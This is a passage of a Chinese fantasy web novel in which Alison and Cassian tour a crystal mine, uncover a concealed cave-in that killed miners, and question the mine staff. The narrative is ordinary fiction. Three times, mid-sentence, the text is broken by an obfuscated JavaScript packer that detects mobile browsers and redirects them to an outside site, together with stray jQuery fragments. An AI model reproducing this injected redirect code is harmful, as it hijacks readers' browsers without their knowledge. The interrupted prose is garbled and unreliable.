“弥补？布莱克公子，你今日的行为，足以让贵族沙龙讨论整整三个月，你若真想弥补，就该离艾莉森远远的，而不是和她一起去！” 没人料到她变脸如此之快，布莱克公爵皱了皱眉头，皮笑肉不笑地说：“兰卡罗德夫人，这话说得有些过了。” “布莱克大人，我不会同意这件事。” 维罗妮卡看着他，丝毫没有退却的意思，一旁的威廉公爵向她使眼色，她也全当没看见。 艾莉森在旁暗自着急，母亲并不知道自己与埃德蒙，还有卡西恩之间的复杂关系，更不知道和卡西恩一同前往矿区，本就是在殿下示意下的一场局。 她只是站在自己的立场，想要保护女儿的名誉。 “兰卡罗德夫人，”双方僵持不下的时候，一直在旁观的埃德蒙却开口了：“既是布莱克家的善意，您也不必太过忧虑。不论是卡西恩，还是艾莉森，都和我有同学之谊，今天的事不过是寻常的玩闹。只要他们二位不介意，我也不是心胸狭隘的人。” 他走上前来，含笑的眸子落在艾莉森身上，轻轻牵起她的手： “无论艾莉森与谁同行，她都是我最合适的王妃人选。” 艾莉森的手指动了动，却被他紧紧握住。 20. 偏移值： 3% 沃尔晶矿是离王都最近的一个矿区，也是条件最好的一个，按照惯例，每年慈善晚宴募捐结束后，贵族们的慰问团便会来此地“视察”。 但来过一次后，维罗妮卡便再也不愿踏足矿区这种“比下等人还要下等”的地方，只是作为基金会的主席，她不能次次称病。今年艾莉森愿意代表她前来，正是她求之不得的事。 虽说慰问团里被布莱克公爵强行塞进来一个“上不得台面”的私生子，可是埃德蒙殿下既然发话，维罗妮卡也不好再阻止。 更何况，用此事来换王储殿下的一个承诺，也不算亏本买卖。 临行前，维罗妮卡反复叮嘱，要艾莉森和卡西恩保持距离。 其实这根本就是个自欺欺人的行为，慰问团规模本就不大，除了他二人，也不过再多了四名兰卡罗德派系的贵族，想要完全断绝公事以外的交流不太可能。 更何况，从年龄上来说，他们都是能做艾莉森长辈的人。 贵族太太们的话题实在是太过乏味，尽管艾莉森一路上努力保持着得体的微笑，还是禁不住偷偷打起了呵欠。 忽然，窗外传来有节律的马蹄声，卡西恩熟悉的声音传了进来： “艾莉森，我们就快到了。” 舞会之后，哪怕是在旁人跟前，卡西恩也称呼她的名字，而不是“兰卡罗德小姐”。 艾莉森掀开马车的窗帘，朝外看去。 卡西恩穿着深灰色的骑马装，外披着一件长斗篷，脖颈系着一条裘皮镶边的领巾，他一只手握着缰绳，另一只手放在马鞍上，没有戴帽子，北风将他的黑发吹得有些凌乱，但他背脊挺直，姿态优雅，全然不受寒冷天气的影响。 斗篷像他张开的双翼，一扬马鞭，仿佛就能飞出去似的。 他金绿色的眼睛带着炫耀般的笑意，用口型对艾莉森道： “无聊吗？” ……简直无聊得快死了。 艾莉森白了他一眼，嘴上却不认输：“你不是‘体弱’吗？就不怕这样吹风，回去便卧床不起了？” 于是卡西恩非常配合地咳了几声，随即摸了摸下巴，笑道： “这倒是个不错的借口，要是老头子犯疑心病，我就说这趟出来不小心感冒了，要多留几天，然后趁此机会……” 他压低声音，调笑道：“——带你私奔啊。” 艾莉森差点没能控制住自己的表情，她身旁还坐着其他几名贵族夫人，就算卡西恩说得小声，这么近的距离，也难免听到只言片语。 她侧过头，视线正对上两位夫人探究的眼神。 年轻些坎贝尔男爵夫人轻轻摇着手里的羽毛扇，嘴角却浮现出一丝可疑的笑容；而珀尔伯爵夫人则微一挑眉，若无其事地转过头，整理手套的褶皱。 完了。 铁定又被误会了。 艾莉森狠狠地瞪向那个始作俑者，卡西恩却哈哈一笑，道：“开玩笑的。我可不想被王储殿下发通缉令。” 说罢，他拉起缰绳，让他的坐骑离车窗更近一些，右手轻抚胸前，朝车内侧的贵妇们微微点头道： “各位夫人，前方便是沃尔矿区，多弗勒男爵和维米尔伯爵很快就会跟上。山道风大，多有颠簸，还请各位夫人保重贵体。旅途若是单调，不妨欣赏一下山区的的雪景。” 他本就长相帅气，这一番话更是说得不卑不亢，风度十足，便是最挑剔的贵族也找不出毛病，马车内两位夫人皆是面露赞赏神色。 说罢，卡西恩朝艾莉森点点头，勒马回身，朝后方与另外两名贵族男士汇合去了。 “依我看来，布莱克家的这位二公子，倒也挺有意思的。” 随着他的身影消失在视野中，玻利维尔夫人开口道。 “卡洛公子的确很优秀，但卡西恩公子似乎更随和些。”坎贝尔夫人说。 卡洛向来以布莱克家继承人的身份出入社交圈，对兰卡罗德派系的贵族们态度倨傲，倒也不难理解夫人们对卡西恩更有好感了。 然而要说随和—— 若他们见过卡西恩在学院里把那些贵族子弟揍哭的样子，就不会这么说了，艾莉森想。 “说起来，艾莉森小姐和他……” 坎贝尔夫人若有所思地看向艾莉森，唇角勾起一个十分友好的笑容。 “……我们真的只是同学。” 艾莉森心下叹了口气，方才这两位夫人已经变着法子向她探问了几百遍和卡西恩，乃至埃德蒙殿下的关系，眼下再搞上这么一出，这最后的一小段路，夫人们欣赏的不是雪景，而是她窘迫的神态。 等一行人抵达矿区外围的村庄时，艾莉森总算松了口气。 说是村庄，其实矿工们平时住的集体宿舍。 在长满了荒草的斜坡上，盖了几间样式统一的矮房子，风吹过时，木板墙发出轻微的吱嘎声。石路上每隔一段，便燃着火堆，在萧索的景色里，火焰像是悬挂在半空中旗帜，又像是黑白的世界里鲜红的印章。 “哎呀！”坎贝尔男爵夫人叫出了声，下马车的时候，她不小心一脚踩进了混合着雪水的泥浆，黑褐色的水渍顺着车辙向坡下蜿蜒流淌。 “天哪，这靴子不能要了。真是的，连个木板都不铺一下。”男爵夫人嫌弃地说。 “抱歉，抱歉，实在是小人疏忽了。” 矿场长于勒连忙道歉，深怕这些非富即贵的大人物们因此怪罪他“接待不力。” 他穿着一件有些旧的外套，袖口上有缝补过的痕迹，衬衫也有些发黄，但看得出来，已经是这个中年男人能找到的最体面的衣服。 另一个跟着他的“矿工代表”，是个二十出头的青年，据说是他的侄子，叫做阿尔敏。他机灵地接过几位男士手中的缰绳，好将他们的马匹安置妥帖。 于勒走在前面，向贵族慰问团的各位老爷夫人们介绍起沃尔矿区的大致情况，沿路皆是门户紧闭，似乎这些宿舍都没有住人。 “都没有别人在吗？”维米尔伯爵开口问道。 “工人都回家过节去了。有些住在王都的平民区，还有些住在邻村，只有几户人家留在这。”于勒顺手指了指几处房屋。 艾莉森顺着他手指的方向看去，一个黝黑的孩子正好奇地朝他们张望着，但很快，便被她的母亲拖进了房内，“啪”地关上的了门窗。 她曾经听罗德里克先生提过，矿区的宿舍条件很差，五六口人挤在一间小屋里，墙壁又极薄，毫无隐私可言，因条件稍好些的工人，都不愿意住在矿工村。 “还住在这里的是什么人呢？”她开口问道。 矿场主愣了楞，道：“是‘长命佬’一家……”*，他转向身侧的阿尔敏，低声似乎问了些什么。 “埃博尔，他们姓埃博尔。”年轻人答道。 “‘长命佬’？这到是个有趣的称呼。” “可不是吗？他家老头和兄弟都在矿里死了，就他一个活了下来，而且，就连他儿子……”于勒笑着说。 阿尔敏咳嗽了一声，打断了于勒的滔滔不绝。 跟慰问团的贵族们讲述一个家里男丁都在矿里死绝的幸存者的故事，可不是什么好主意。 好在问话的多弗勒男爵似乎也不是真的想要了解，他的注意力很快被别的事情吸引了。 那是个看起来和艾莉森年纪差不多的女孩子，正在井边打水。 她长得还算清秀，穿着宽松的矿工裤子，梳着条长长的麻花辫，瘦骨嶙峋的样子，倒和一个发育不良的男孩似的。 “那是埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826038|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博尔家的孙女。”阿尔敏介绍到，随即向那少女挥了挥手： “莉拉！” 女孩将接水的破铁桶放在井边，看见慰问团衣着华丽的一行人，皱了皱眉头，走了过来。 “这是从王都来的善心老爷太太们。”于勒殷切地介绍着。 “以前见过的。”莉拉低着头，小声地说。 “的确见过，”多弗勒男爵摸着胡子，像是在欣赏一道风味独特的菜肴：“之前还是小孩，今年已经是个大姑娘了。” 珀尔夫人皱起了眉头，用手帕掩着嘴唇，低声对身侧的坎贝尔夫人道： “多弗勒男爵的老毛病又犯了。” 坎贝尔夫人说：“真是……王都又不是没有寻欢作乐的地方，非得在这里吗？” 见艾莉森望过来，二人连忙住了嘴，走到一旁，小声嘀咕着。 “可否请于勒矿场长带我们看看矿井？”一直没有说话的卡西恩突然开口道。 他的脸色不太好看，与方才马上意气风发的样子大相径庭。 “外面实在太冷了，而且从清晨到现在，还没有用餐……早些结束今天的行程，好回到村舍休息，诸位以为呢？” 看到这位方才将他们甩在身后的贵族少年露出这般不中用的模样，两位年长的贵族男士都笑了起来。 “刚才一路骑马奔波，布莱克公子的确是累了，就按他说的，去参观一下矿井，别老是站在外面了。” 维米尔伯爵轻轻拍了拍卡西恩的肩膀，好像真是一个关怀小辈的长者一般。 “多谢，我方才的确是有些忘形了。”卡西恩“感激”地说。 于是伯爵笑得更慈祥了。 演，又演上了。 艾莉森鄙视地扫了眼卡西恩，像是察觉到她的目光，后者递给她一个很是无辜的笑容。 “的确太冷了。” 两位夫人倒是很赞同卡西恩的意见。 “于勒，矿井离这还有多远？” 于勒忙不迭点头哈腰：“不远不远！这边请，这边请，各位大人……” 多弗勒男爵明显还想再和莉拉聊上几句，但阿尔敏对他低语了几句，这才打消了念头，和众人一起前往矿井。 那瘦弱的姑娘见他们离开，便回到井边，提起水桶回家去了。 因为天气的缘故，黑压压的云层让天光被遮住大半，倒像黄昏似的。 沿着矿工村里铺好的路走上一段，便能看见洼地里逐渐显现出来的矿井口。 从井口里延伸出一段轨道，倒空的六节斗车孤零零地停在那里。 沃尔矿坑像是个咧着大口的饕餮怪物，等待着猎物自投罗网。 矿井旁搭了个简易的棚子，桌上摆放着一些防护的帽子和皮革披肩。 于勒恭敬地把装备分发给众人，艾莉森注意到，这似乎是一种用蒸煮过的帆布做成的硬质防护帽*，加了内衬，外壳上还讨好似地用粗劣的颜料画了花纹。 “这是我的发明。”阿尔敏连忙走上前，不无骄傲地向众人介绍道：“从前下矿，大家都只能戴上用厚布做的毡帽，若是在矿里碰到了头，或者有落石，十分危险。” “我还在帽子里加了软垫，十分舒适，也不会压了诸位的发型。”他殷情地展示着那些帽子，全不在意贵族们嫌弃的样子，直到于勒打断他： “好了，阿尔敏，别耽搁各位大人的行程，下矿吧。” 他取了一盏矿灯，“矿井里有些昏暗，还请各位小心脚下。” 卡西恩把那帽子随手往头上一盖，对艾莉森小声道：“我敢说这玩意儿分不到普通矿工手上。” “说得你好像很了解似的。”艾莉森白他一眼。 卡西恩只是笑笑，没有再说什么。 21. 偏移值：3% 穿过狭窄的甬道，整个地下矿区如同教堂的大厅一样，展现在艾莉森的面前。 这是沃尔晶矿真实的样子。 于勒带慰问团进入的矿井口，不过是通向矿区的最上层的无数个通道之一。这里的照明很微弱，木架搭成的简易工棚后堆放着工具，到处都是黑乎乎的窟窿。 仿佛进入了某个巨兽的腹中，一层层的通道和天桥，错综复杂得令人不安。 于勒领着众人来到一处选矿棚，旁边便立着口竖井，通往更深处。 更令人惊讶的，是棚内居然有一盏魔晶灯。 和王都贵族区那些高纯度魔晶石不同，这盏灯的用料明显粗劣许多，光线也弱，呈现出幽幽的蓝色，但比起矿场主手中的那盏油灯，依旧是明亮到有些刺眼。 问题在于，这盏魔晶灯并没有采取防止魔力溢出的通用保护罩，只简单地加了个玻璃外壳。 慰问团中身带魔力的几位，都感到了不同程度的魔力波动。 于勒皱了皱眉，嘟囔道：“又是谁忘记关灯了。” 他伸出手，揭开玻璃罩，把底座上的魔晶石块随意一拔，扔进旁边的黄铜盒子里，“啪”地合上盖子。 众贵族皆是倒吸一口凉气——任何受过基本教育的阿尔特蒂亚人，都知道不可以直接接触魔晶石，但于勒似乎并不在意。 “各位请看，这便是沃勒晶矿的主矿脉了。” 顺着他指的方向往下看去，竖井内高塔般矗立着一个铁架子，架上安放着长长的钢索，穿过滑轮，连着个吊罐笼。可以想象，平时矿工们便是乘坐罐笼下到深不见底的井中，再将开采出来的魔晶矿运上来。 “真有意思，”卡西恩摸了摸那有成人手臂粗细的锁链，笑道：“如果这钢索断了……” 于勒捧场似地笑了起来，在脖子上做了个手势，道：“那可就完蛋了，这口井好几百米呢，上面的，下面的，二三十个人都没救了。” 他带着死亡气息的“幽默感”似乎并没有得到慰问团员们的响应，气氛有些尴尬，一侧的阿尔敏见状，连忙开口道： “各位可是要到下面去看看吗？” 大概是受到卡西恩那句话的影响，众贵族都露出胆怯的神色，玻尔夫人和坎贝尔夫人的脸瞬间白了。 漆黑的井口，仿佛在无声地嘲笑着他们。 “也是，下面也没什么好看的……”于勒见状，便要带众人离开。 “我想去看看。” 说话的人是艾莉森。 “兰卡罗德小姐，你是认真的吗？”坎贝尔夫人以不可置信的目光看着她。 卡西恩也上前一步，站在她身边，道：“我也很有兴趣。” “总不能让女士单独去吧，您说是吗，多弗勒男爵？” 被他点到名的男爵干笑几声，道：“两位年轻有为，都是皇家军事学院的高材生，我们就不去凑这热闹了。何况，两位夫人也需要陪同，您说是吗，维米尔大人？” 维米尔伯爵皱皱眉，多弗勒自己胆小也就罢了，还要拉他垫背，但他也的确不想去竖井下面，冷笑道： “我腿上有些毛病，年岁大了，不方便。但阁下正值壮年，体贴两位夫人无可厚非，何况兰卡罗德小姐也是女士，怎能让布莱克公子一人出尽风头？” 这话说得尖锐，多弗勒一时有些下不来台，正僵持间，艾莉森却有些迟疑地开口： “其实……也没必要，那么多人。” 她低着头，斜睨了一眼卡西恩，似是有些害羞的模样。 卡西恩会意，用“温柔”的眼神回望过去，转向众人道：“各位放心，不必担心我们，我会照顾好她。” 这样啊……怪不得。 联想起之前慈善舞会上的传闻，几名贵族都露出些了然的神情。 说来这位兰卡罗德千金也是厉害，一路上和布莱克家的儿子有说有笑也就罢了，如今为了能和他独处，居然想出这种铤而走险的法子。 也不知道她是愚蠢，还是大胆。 “呵呵，既然如此，”多弗勒男爵一脸看好戏的神色，“我们就先回村舍休息。” 于勒连忙给他们引路，又回头看了看阿尔敏，后者向他点了点头，表示自己会处理妥当——这些贵族们之间的门道，实在不是他们这样的小角色可以掺和的。 一行人的脚步声渐远，似乎还能听到几句议论： “现在的年轻人啊……” “可怜的埃德蒙殿下……” “维罗妮卡夫人的苦心白费了……” 等到所有的声音都消失了，阿尔敏看向卡西恩和艾莉森。 他从一开始就注意到这两个慰问团的新面孔，他们看来不过十五六岁，但皮肤细嫩，衣着光鲜，举止优雅又得体，就连说话的声音也那么好听。 和他以及莉拉，是生活在不同世界的人。 神明真是不公平啊。 想法归想法，此刻他仍要负责伺候好两位贵人。 “两位，你们真要……不是我吓唬你们，下面挺黑的。” 卡西恩懒得跟他废话，伸出手道：“把‘下肉铃’给我。” 矿工们在竖井里采矿，会用铃声告知操作罐笼的人，现在拉起的到底是魔晶矿还是人。 这个作为信号的铃铛，被戏谑地称为“下肉铃”，意思是：上来的可是肉身凡躯，你小心点，不然便是好几条人命。 阿尔敏有些讶异，这个黑发的少年看来气质不凡，从贵族老爷们的话里听来，身份应该也不低，为什么会知道这个东西？ “怎么，下面有什么见不得人的东西吗？”卡西恩见他迟疑，冷笑道。 “没有、没有，您说笑了，怎么可能呢？”阿尔敏连忙挥了挥手，从腰间解下铃铛，递给了他，片刻后，似乎想起什么又补充了一句：“矿井阴冷潮湿，现在的天气又是这个鬼样子，二位不要在下面呆太久，对身体不好。” “真是这样吗？”卡西恩金绿色的眼睛注视着他，明明是冬天，阿尔敏却被他盯出了一身冷汗。 这贵族少年明明比他还小了几岁，却令他有种毛骨悚然的感觉。 直到卡西恩终于移开了目光，阿尔敏才觉得松了口气。 “好了，大小姐，现在开始是真正的冒险了。” 对着艾莉森，卡西恩却又是另一副面孔，他微微欠身，左手背在身后，像在邀请她跳一支舞蹈，而不是下到黑乎乎的井里去。 他浮夸的动作让艾莉森有些失笑，并不搭手，自己走上罐笼，对卡西恩道：“现在都没人了，还没演够？” 卡西恩别了阿尔敏一眼，笑道：“怎么，他不是人？” 艾莉森有些无奈：“别玩了，走吧。” 卡西恩不置可否地说：“演得多了，搞不好就成真的了呢？” “绝无可能。” 艾莉森站了上去，其实这罐笼并不小，若是平时，大概能容纳五个工人左右。 此时就她和卡西恩，反而有些空旷。 阿尔敏旋转木手柄，放下锁链，嘱咐道：“二位若是想上来，只管摇铃，我就在上面等着。” 罐笼缓缓下沉，周围逐渐暗起来，悬挂在铁索上的油灯是唯一的光源。 竖井里静得可怕，不知何处传来风声，伴随着艾莉森自己的呼吸。 卡西恩一言不发，像是在思索什么，半晌，才发现她在看他，于是开口笑道：“害怕了，大小姐？” 油灯的照耀下，他的笑容不同于方才在贵族面前展现出来的刻意，也不似从前那般带着愤世嫉俗的冷嘲，反而流露出几丝颇为难得的柔软。 “没有。”艾莉森转过头，忽略掉自己突然快了一拍的心跳，“你刚才说，如果铁索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826039|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断了……真的发生过吗？” 卡西恩耸耸肩，那瞬间的温情一触即散：“谁知道呢，阿尔特蒂亚的矿井那么多。” “魔晶矿里究竟死过多少人，恐怕连神明都数不清。”他抬头望向上方熹微的亮光，像是在嘲讽，又如同在质问：“神的目光，从不会落在这里。” 艾莉森想再说什么，但卡西恩却反常的沉默了，直到罐笼落地，他才干巴巴地说了一句： “到了。” 正如罗德里克先生说的那样，为了接待慰问团，沃尔晶矿已经封闭了一段时间。竖井里明显修整过，甬道打扫得十分干净，一个工人都没有，就连斗车也都是空的，岩壁里隐约能看到散发着蓝色幽光的魔晶石。 这是阿尔特蒂亚的地底。 “矿里有影子，影子会偷听秘密……” “他被吃掉了……被魔晶吞了，他去找人，却被吞掉了……” 疯乞丐那癫狂的话语似乎又回响在耳边，即便是艾莉森，也觉得背脊有些发凉。 “大小姐，过来。” 卡西恩带着回音的声音从另一头传来。 艾莉森走过去，看见他仰着头，凝视着昏暗上方。顺着他的目光望去，一道顶板梁架横亘在眼前，正是支撑整个竖井的主梁。 “看到了吗？那里刚刚断过。”卡西恩举起提灯，艾莉森这才发现，木头梁架的中段，有一截颜色略有不同，是新装上去的。 他继续往前走了几步，竖井的尽头，杂乱地堆放了一些工具，又铺了层帆布。卡西恩皱了皱眉头，揭开了它，后面赫然堆着好几个大箱子，里面似乎是一些待选的魔晶矿。 “搭把手。”他不客气地向艾莉森招呼道。 两人合力，无奈那些箱子实在太沉，好不容易，才推开了一条缝——即便如此，也能看见后面堆满了混合着砂土的碎石，将整条通路堵得死死的。 “果然没错。”卡西恩神情难得的严肃，“艾莉森，我们恐怕得快点离开这里。” “这里前些日子应该刚刚塌方过，顶板结构才补没多久，下面压着的塌层根本没清，要是再来一次，我俩都得赔在这里。” 他冷笑道：“恐怕是以为那些贵族老爷们不敢下来，临时做了些补救措施，便想要蒙混过关吧。” 回想起此前阿尔敏犹豫的模样，艾莉森不再迟疑，跟上卡西恩的步伐，听他摇响了“下肉铃”。 过了片刻，罐笼开始往上爬升。 “卡西恩，你为什么会了解这些事？”艾莉森终于还是问出了口。 如果说一开始的“下肉铃”，还可以归结为他见多识广，那后面对梁架断裂的判断，塌方碎石的分析，遑论皇家军事学院的授课内容，若不是对魔晶矿有相当了解，根本就是闻所未闻。 卡西恩又怎么会知道。 黑发少年背对着她，身形微顿。 他沉默地站在那里，竖井里很静，只有罐笼上升时铁索摩擦的“吱呀”声，像是要打开某处尘封的记忆之门。 就在她以为他不会回答的时候，他终于低低开口： “其实……” 艾莉森摒住了呼吸。 “——我前世是个矿工。” 那我前世还是个国防生呢。怎么，你也是穿书来的？ “大小姐，”卡西恩看着她，笑道：“我很早以前就想跟你说了，你翻白眼的样子，其实挺可爱。” “再多说一句，我就把你推下去。”艾莉森没好气地说。 卡西恩扶住胸口，假装沉痛：“没想到啊，杀我的竟然是你……”* 这么爱演，你也别当什么布莱克家的二公子了，去王都大剧院不好么？ 对于戏精上身的卡西恩，艾莉森实在是无可奈何，但她也知道—— 卡西恩不想说。 她垂下眼眸，不再追问。 22. 偏移值：3.5% “塌方？” 阿尔敏听到艾莉森口中吐出的这个词，脸色微变。 “哪有什么塌方，就是竖井上的石头掉了些下来。”他下意识地看向黑漆漆的井底，干笑道：“这种事，在矿井里挺常见。” “的确挺常见，”卡西恩走到他身侧，状似随意地搭上他的肩膀，“死人也不奇怪，对吗？” 被他那双金绿色的眼睛盯着，阿尔敏只觉得浑身的汗毛都立了起来，他想要退后，却发现那位十分漂亮的贵族小姐不知何时已经堵死了他的去路。 “大人、您您您、您说笑了，哪有那么容易死人……” 阿尔敏的声音颤抖着，连自己都觉得这话讲得毫无说服力。 “你没听于勒场长说吗？‘上面的、下面的，二三十个人都没救了’。”卡西恩冷笑道。 阿尔敏哪还记得于勒说过什么，他只觉得眼前的年轻人恐怖异常。 卡西恩笑得如同来自深渊的恶魔，阿尔敏只觉得像被一种无形的力量抓住了心脏，仿佛要将最他深层的恐惧从体内拖出来。 “我、我不在现场，我什么都不知道！” 阿尔敏的两条腿不停地打战，抖得像一片风中的树叶。 就算是为了隐瞒塌方的真相，他也有些过于害怕了。 “不用担心，阿尔敏……先生。”艾莉森斟酌着词句，宽慰道，“我只是想帮忙——确保兰卡罗德家的抚恤金能交到真正需要帮助的人手中。” 她绽放出一个十分温和的笑容—— 亲和有礼，美丽动人。 和卡西恩的恶棍形象成了鲜明的对比。 有些时候，维罗妮卡的贵族淑女课程也不是全然无用。 “兰、兰卡罗德？” 阿尔敏只觉得这个名字十分熟悉，却想不起在哪里听过，直到卡西恩提醒道： “怎么，连金主的名字都忘了——这正是那位要给矿工们发钱改善生活的大善人——兰卡罗德老爷家的千金！” 这次，阿尔敏抖得更厉害了，差点就要给艾莉森跪下，但卡西恩眼疾手快，稳稳地“扶”起阿尔敏，——或者说“架”更合适些。 “这……我真的什么都不知道啊！看在神明的份上，大小姐——是于勒矿场长说的，不要让那些死人影响了各位大人物的心情，具体死了多少人，都是他带人清点的！” “早说死了人不就得了。”卡西恩松开手，从袖口掏出枚金币，用拇指往上一弹， “叮”的一声，金币划出一道弧线，滚落在地面。 金绿色眼睛的少年勾起唇角，毫不掩饰自己的恶意：“也许我还能多赏你一枚，好让你再生产几顶‘安全帽’。” “谢谢！谢谢大人！” 阿尔敏从未见过这么多钱，他目瞪口呆，片刻后才猛然反应过来，便要扑过去捡，卡西恩却长腿一伸，靴底稳稳地踩在仍在滚动的金币上。 他俯下身，居高临下地看着那可怜的青年： “你若敢把今天的事说出去一句——” “即便用你的金鱼脑袋，也该明白，会发生什么吧。” 阿尔敏忙不迭地点头，赌咒发誓，卡西恩这才挪开脚，对一旁的艾莉森道： “走吧，大小姐，我们恐怕该和那位矿场长好好聊聊了。” 艾莉森没有多说什么，只是在离开的时候，回头看了眼阿尔敏。 他仍然呆呆地跪着，随后，像是突然反应过来那枚金币居然是真实存在的，猛地将它牢牢攥住，放在了自己胸口的衣兜中。 艾莉森不再理会他，加快了脚步，跟上前方的卡西恩。 身后传来阿尔敏的声音，似哭又似笑，回荡在空旷的甬道中。 终于走出了沃尔晶矿，艾莉森脱下披风，摘掉帽子，望着不远处村里亮起的稀薄灯火，觉得自己像终于回到了人间一样，长长地舒了口气。 她总算明白，为什么维罗妮卡不愿意来。 而卡西恩，卡西恩甚至没有说一句嘲讽的话，他只是沉默着。 两人回到矿工村时，天色还未暗下，雪已经停了。 用餐的地方安排在于勒自己的住所，甚至比赛琳家的客厅还要大上些。 但这间房子的木头餐桌上没有铺着方格桌巾，也没有装饰的花朵，墙是灰色的，也没有挂着那些并不名贵却十分生动的孩子们的画。 而更大的对比，则是于勒的妻子黛娜。 同样的，她也穿上了自己最体面的衣服。 尽管如此，艾莉森一开始，差点以为她是于勒家的佣人。 她的头发几乎全白了，这让她比实际年龄苍老了好几十岁，她眼睛浑浊，手背上的皮肤宛如皲裂的树皮，颤巍巍地为“贵客们”端上炖肉，面包和黑麦酒。 她似乎有些犹豫要不要落座，但于勒一个眼神，这憔悴的女人便缩进了厨房。 坎贝尔夫人尝了几口，便放下了勺子，其他人也好不到哪去——炖肉的味道，实在是一言难尽，面包也粗糙得令人难以下咽，唯有黑麦啤酒的味道还不错，似乎是当地的特产。 “各位，请容我先行一步了。”多弗勒男爵站起身来，向其他人告辞，“这地方的炖菜实在是太油腻了，我得出去走走。” 众人礼貌地表示理解，甚至有几人还发出了暧昧的笑声。 气氛不太对劲，但艾莉森无暇细想，因为卡西恩已经向她举起了酒杯： “诸位，我提议，为兰卡罗德家的善举举杯！” “为兰卡罗德！” 在场众人皆是与兰卡罗德交好的贵族，见卡西恩作为布莱克家的一员，却表现出如此明显的示好，纷纷应和。 待到一番恭维下来，他又自然地转向于勒，笑道：“于勒先生，辛苦您招待了。” 于勒没想到自己也在被感谢的行列里，明显有些受宠若惊，努力地想找一句体面的答复，却连说话都结巴了起来： “没、没有的事，这是我，呃，不，是小人的荣幸！” 艾莉森按照之前和卡西恩商量好的策略，装作不满地问道：“我记得行程上写着明天还有墓园吊唁一项——天呐，在这种鬼天气！真想早点回王都……” “大小姐，”卡西恩的口气带着一丝宠溺，“你是这次的主角，至少也要把最新的这批抚恤金发下去吧？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826040|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看向于勒，笑道：“于勒先生，这次大概多少人，可有名单？” 于勒喝了不少酒，脸色变成兴奋的紫红色，他打了个嗝，笑道：“哪有什么名单，这矿里的人我都认识，少了谁，一眼就知道，杰夫，戴维斯，还有他老婆，小汤姆，“臭佬’巴克……差不多十来号人吧。” “都葬在什么地方？” “还能在哪？各位大人明天去了就知道了，离这里不远，沿着村子的路往西走上一小段，便……” 于勒突然意识到，自己似乎说得有些太多了，心里正打鼓，却听见艾莉森嫌弃地说： “还要走上一段？不能不去吗？本小姐真的有些累了……反正知道了人数和名字，钱就能发下去了吧，我也能和母亲交差。” 慰问团里其他人也有相同的想法——矿工村的条件，对这些养尊处优的贵族们来说实在太差了，若不是碍于兰卡罗德家的面子，没人愿意再多住一晚。如今作为维罗妮卡代理人的艾莉森都这么说，他们自然纷纷附和。 于勒暗自松了口气，觉得是自己吓自己。 只要能拿到钱，他巴不得早点把这些贵族送走，好让矿场重新开工。 见众人都有离开的意思，他眼珠一转，讨好地说：“当然！当然，其实那些人都被埋在矿下，坟里只放了些他们平时的衣服，只是个形式而已，您若不想去，也是完全可以的！各位大人若想现在启程，回去也不会太晚！” “于勒先生果然明理。”卡西恩笑道，“我们一定会好好感谢您的。” “哪里、哪里话……” 又是一轮杯盏交错，但出乎意料的是—— 卡西恩，似乎有些喝醉了。 少年金绿色的眼睛有些迷离，他支着身体想要站起来，脚步却有些不稳。 “布莱克公子，乡下地方的酒，可比王都要烈上不少。”维米尔伯爵颇有些幸灾乐祸地说。“要不然，您便在此休息一晚，明日和多弗勒男爵一道回去吧。” “卡西恩不走，我也不走。”艾莉森扶着他，说。 “呵呵，艾莉森小姐方才还说累呢。”坎贝尔夫人打趣道。 艾莉森面上一红，嗫嚅道：“我……” “好了，谁还没年轻过似的，”玻尔夫人笑道，“明天早点回去。” 众人脸上皆露出些心知肚明的笑容。 兰卡罗德家这桩婚约，后面怕是还有不少好戏。 如果说这趟慰问真有什么成果，对于他们来说，便是在沙龙上又多了桩谈资，甚至比慈善舞会上的消息更加劲爆。 待艾莉森扶着卡西恩回到于勒安排的住所时，维米尔伯爵和两位夫人已经启程离开。 房门一关上，她便松开了手，迅速拉开彼此的距离： “没人了，可以不演了。” “真无情啊，我还想多被你搀扶一会儿。”卡西恩理了理头发，眼里哪里还有一丝醉意？ “大小姐，你的演技很有进步。” “拜您所赐。” “碍事的人都走了，我们也可以做点……该做的事了吧？”卡西恩看着眼前的少女，笑得有些暧昧。 23. 偏移值：3.5% 艾莉森无比庆幸自己并没有在晚餐时吃太多的炖肉。 她干呕几下，胃液和胆汁的混合物又酸又苦，腹部抽搐到有些发痛。 “系上吧，会好些。”她本以为卡西恩会嘲笑自己，但他并没有，只是递给她一张方巾，让她掩住口鼻。 几个小时之前，他不知道从哪搞来两套矿工的衣服和工具，等矿工村里大多数人都睡了，便和艾莉森两人骑马来到了于勒在晚餐时说过的矿工墓园。 